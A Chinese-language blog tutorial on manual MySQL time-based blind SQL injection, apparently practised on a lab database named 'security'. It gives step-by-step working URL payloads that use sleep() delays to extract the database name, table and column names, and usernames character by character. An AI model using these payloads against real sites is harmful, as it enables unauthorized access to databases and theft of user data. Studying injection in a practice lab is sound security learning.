MySQL延时时间盲注-笔记(手工注入-有图)

1、判断是否为SQL注入。

在后面加上?id=1',原因是因为引号加上不匹配就会报错,如果页面显示错误则是SQL注入。

?id=1'

 

 2、判断字符型注入还是数字型注入。

(1)数字型

输入第二行代码,页面错误则是数字型。

?id=1 and 1=1

?id=1 and 1=2

 (2)字符型

输入第二行代码,页面显示不正常则是字符型。

?id=1' and '1'='1

?id=1' and '1'='2

 

3、判断是否有闭合。

加上引号后延迟了8秒,代码放在引号里面会被当做字符并不会执行任何功能,--+是为了注销源代码后面的limit0,1。

?id=1 and if(1=2,1,sleep(8))--+   (这里没有延迟8秒)

?id=1' and if(1=2,1,sleep(8))--+   (这里延迟了8秒)

源代码:

$sql="SELECT * FROM users WHERE id=$id  LIMIT 0,1";(无闭合)

$sql="SELECT * FROM users WHERE id='$id'  LIMIT 0,1";(有闭合)

 

4、判断是否存在注入点。

?id=1' and 1=1--+

?id=1' and 1=2--+ (存在注入点)

 

5、猜测几列字段。

这里我们测试一下有几列字段,发现数字填写到4出现错误,填写到3正常,就证明是3列字段。

?id=1' order by 3--+ (正确,证明3列字段)

?id=1' order by 4--+ (错误)

 6、判断是否盲注。

用一下常规查询发现没反应,可能是没回显,就要用到盲注了。

id=-1' union select 1,2,3--+

 7、判断数据库的长度。

这里我们使用延时盲注,盲注是很费时间的,最好用工具sqlmap之类的;下面语句意思为:查询当前数据名的长度为8则网页延迟8秒访问,我这里延迟了8秒才访问成功说明数据库名是8的长度,length为判断长度,sleep为延迟,if声明条件,有闭合就加上引号没有闭合就不加自行判断。

?id=1 and if(length(database())=8,sleep(8),0)--+

 8、查看数据库名。

这里译为查看当前数据库第7位字符,为116=ascii码=t则延迟8秒,网页搜索ascii码图表。

为什么要用ascii码不直接写't'?那是因为会被原来语句的引号相连接,则达不到自己要的效果,所以推荐使用ascii码

自己根据ascii码图表一个一个的填进去测试,填写到等号后面并修改相应第几位。

?id=1' and if(ascii(substr(database(),7,1))=116,sleep(8),0)--+ (ascii码的注入)

?id=1' and sleep(if(mid(database(),7,1)='t',8,0))--+ (直接写字符的注入)

9、判断表明长度。

判断表名的长度,如果数据库名,表名,列名的字符都很长可以使用><符号来减少时间猜测。

下面译为简单理解为:查询数据库名为security下的第4行的表名的长度,长度为5则延迟8秒。(之所以这里写第4行,是因为数据库名,表名,列名的默认第一位号数是0)

对于一下代码的翻译:长度 查询 表名 来自 记录所有表名信息 的表 筛选 数据库名 为'security'中表名 第4行 的 表名长度为5,则延迟5秒。

?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(8),1)--+

 10、查询表名。

下面译为:查询数据库下的表名的第4行第5位字符是s=ascii码=115,则访问时间延迟8秒。

自己根据ascii码依次修改下面的3数值和5数值和115数值来查询相应的表名。

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 3,1),5,1))=115,sleep(8),0)--+

 11、查询列名。

下面译为:查询数据库下的表名下的第3行第8位是d=ascii码=100,则访问时间延迟8秒。

自己根据ascii码依次修改下面的2数值和8数值和100数值来查询相应的列名。

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database()limit 2,1),8,1))=100,sleep(8),0)--+

 12、判断列下的数据长度。

下面译为:查询数据库security下的username表下的users列下的第一行的长度为4则访问延迟10秒。

?id=1' and if(length((select username from security.users limit 0,1))=4,sleep(10),1)--+

13、查询列名下的数据。

下面译为:查询表名user下的列名username下的第一行数据字符第4个字符为b=ascii码=100,则访问延迟8秒。

自己根据ascii码依次修改下面的0数值和4数值和100数值来查询相应的数据字符。

?id=1 and if(ascii(substr((select username from users limit 0,1),4,1))=100,sleep(8),1)--+

查询顺序:(判断是否SQL注入)-(判断字符型还是数字型注入)-(判断是否有闭合)-(判断是否有注入点)-(猜几列字段)-(判断是否盲注)-(判断数据库长度)-(查看数据库名)-(判断表名长度)-(查询表名)-(判断列名长度)-(查询列名)-(判断列列下的数据长度)-(查询列名下的数据)

这样就完成了!如果发现有问题或者不够细或者有建议请留言,以免疏忽误导他人,谢谢。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值